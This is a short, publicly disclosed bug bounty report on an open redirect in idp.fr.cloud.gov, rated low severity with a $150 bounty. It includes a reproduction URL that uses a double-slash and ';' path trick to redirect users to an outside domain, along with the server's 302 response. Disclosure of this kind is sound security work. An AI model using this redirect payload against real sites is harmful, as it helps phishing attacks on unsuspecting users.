GSA Bounty · Report #387007

[idp.fr.cloud.gov] Open Redirect

Validstatus

lowseverity

$150bounty

25upvotes

1 Nov 2018disclosed

How it was found

Description: Open Redirect

Domain: idp.fr.cloud.gov

Steps To Reproduce: Open URL:

https://idp.fr.cloud.gov//blackfan.ru/..;/css

HTTP Response

HTTP/1.1 302 Found
...
Location: //blackfan.ru/..;/css/
...

Impact

A web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a Redirect. This simplifies phishing attacks.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original